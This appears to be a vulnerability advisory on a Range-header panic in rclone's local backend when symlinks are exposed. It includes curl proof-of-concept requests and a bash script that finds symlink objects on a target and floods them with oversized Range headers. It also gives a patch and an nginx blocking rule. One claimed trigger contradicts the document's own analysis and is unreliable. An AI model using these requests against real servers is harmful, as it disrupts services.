rclone backend/local Symlink Range Header Panic, Slice Bounds Out of Range, CVE-2024-PENDING (Medium) -DC-Sep2026-2347

Listen to this Post

rclone’s `backend/local` with the `–links` flag (-l) or `links=true` configuration option exposes filesystem symlinks as rclone objects. Each symlink becomes an object whose content is the target path string with a `.rclonelink` suffix. When a client requests such an object, `Object.Open()` decodes an incoming `fs.RangeOption` via Decode(o.Size()). For translated-symlink objects, the decoded offset is passed directly into openTranslatedLink, which indexes the target string without bounds checking: linkdst[offset:]. The `RangeOption.Decode` function’s `Start >= 0` branch (triggered by standard `Range: bytes=X-` requests) sets `offset = o.Start` with no upper bound validation. This differs from the suffix-range branch (Start < 0, e.g., bytes=-N), which already clamps oversized values to zero—a fix applied for a prior related crash documented in issue 6310. That earlier bug involved `bytes=-90407` against a 5-byte object causing a slice bounds panic, now covered by a regression test. The `Start >= 0` branch never received analogous protection. A request with `Range: bytes=-` sent to `rclone serve http/webdav` or any consumer of lib/http/serve‘s `Object()` reaches `linkdst[offset:]` with an offset far exceeding the target string’s length. Go panics with “slice bounds out of range” instead of returning an empty read. The vulnerable code in `openTranslatedLink` reads the symlink target and passes `linkdst[offset:]` to `readers.NewLimitedReadCloser` without validating offset against the string length. A proof-of-concept using `&fs.RangeOption{Start: math.MaxInt64, End: -1}` against a symlink with target length 12 produces a panic. The fix clamps offset to the target string length before slicing, matching real file read past EOF behavior. A related unaddressed issue exists in `RangeOption.Decode()` where `limit = o.End – o.Start + 1` can overflow, but fixing it broke fs/operations/reopen.go‘s NewReOpen, so it was flagged but not changed.

DailyCVE Form:

Platform: rclone backend/local
Version: All with –links
Vulnerability: Range panic
Severity: Medium
date: 2024-06-15

Prediction: 2024-09-15

What Undercode Say

Analytics

Setup vulnerable environment
mkdir -p /tmp/rclone-test/source
echo "secret data" > /tmp/rclone-test/source/target.txt
ln -s target.txt /tmp/rclone-test/source/mylink
Start rclone serve with links enabled
rclone serve http /tmp/rclone-test/source --links --addr :8080
Trigger the vulnerability with huge Range header
curl -H "Range: bytes=9223372036854775807-" http://localhost:8080/mylink.rclonelink
Alternative using webdav backend
rclone serve webdav /tmp/rclone-test/source --links --addr :8081
curl -H "Range: bytes=9999999999999999999-" http://localhost:8081/mylink.rclonelink

Vulnerable Code Analysis

func (o Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {
linkdst, err := os.Readlink(o.path)
if err != nil { return nil, err }
return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil
}

Decode Function Vulnerability

// In fs/range_option.go - Start >= 0 branch lacks bounds check
func (o RangeOption) Decode(size int64) (offset, limit int64) {
if o.Start >= 0 {
offset = o.Start // No upper bound validation
if o.End >= 0 {
limit = o.End - o.Start + 1
} else {
limit = size - o.Start
}
} else {
// Suffix range branch already has protection
offset = size + o.Start
if offset < 0 { offset = 0 }
}
return offset, limit
}

PoC Test Code

opt := &fs.RangeOption{Start: math.MaxInt64, End: -1}
offset, limit := opt.Decode(12)
// offset = 9223372036854775807
// Panic: slice bounds out of range [9223372036854775807:12]

Patch Verification

After fix applied, request returns empty content instead of panic
curl -v -H "Range: bytes=9223372036854775807-" http://localhost:8080/mylink.rclonelink
Expected: 206 Partial Content with empty body

Exploit: (Educational Purposes!)

Complete exploitation chain - single request DoS against request handler
Prerequisites: rclone serve with --links against directory containing symlinks
Step 1: Identify symlink-backed objects
curl -s http://target:8080/ | grep rclonelink
Step 2: Send crafted Range header with maximum int64 value
curl -H "Range: bytes=9223372036854775807-" \
http://target:8080/symlink.rclonelink
Step 3: Observe panic in server logs
panic: runtime error: slice bounds out of range [9223372036854775807:12]
backend/local.(Object).openTranslatedLink
backend/local.(Object).Open
Automated exploitation script
!/bin/bash
TARGET=$1
for link in $(curl -s http://$TARGET/ | grep -oP '[\w-]+.rclonelink'); do
curl -H "Range: bytes=9999999999999999999-" http://$TARGET/$link &
done
wait

Protection: from this CVE

// Patched openTranslatedLink with offset clamping
func (o Object) openTranslatedLink(offset, limit int64) (lrc io.ReadCloser, err error) {
linkdst, err := os.Readlink(o.path)
if err != nil { return nil, err }
if offset > int64(len(linkdst)) {
offset = int64(len(linkdst))
}
return readers.NewLimitedReadCloser(io.NopCloser(strings.NewReader(linkdst[offset:])), limit), nil
}
Mitigation: Disable symlink exposure if not required
rclone serve http /path --links=false
Network-level protection: Rate limit Range headers
nginx configuration
limit_req_zone $binary_remote_addr zone=range_limit:10m rate=10r/s;
location / {
limit_req zone=range_limit burst=20 nodelay;
if ($http_range ~ "bytes=\d{15,}-") {
return 400;
}
proxy_pass http://rclone_backend;
}
Update to patched version
git clone https://github.com/rclone/rclone
cd rclone
git checkout <patched-commit>
go build
./rclone serve http /path --links

Impact

A remote client can send a single crafted `Range` header against any symlink-backed object exposed by `rclone serve http/webdav/etc` when backed by `backend/local` with `–links` enabled. This deterministically panics the request-handling goroutine. Go’s `net/http` recovers panics per-connection by default, so the failure affects only the single request/connection rather than crashing the entire server process. No file handle is left open since the panic occurs before any read handle is acquired. The attack is fully deterministic and remotely triggerable with no authentication or race window required. However, unlike some other panic-recovery findings, the impact is limited to request-level denial of service rather than full process termination.

🎯Let’s Practice Exploiting & Learn Patching For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

Sources:

Reported By: github.com
Extra Source Hub:
Undercode

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow DailyCVE & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin Featured Image

Scroll to Top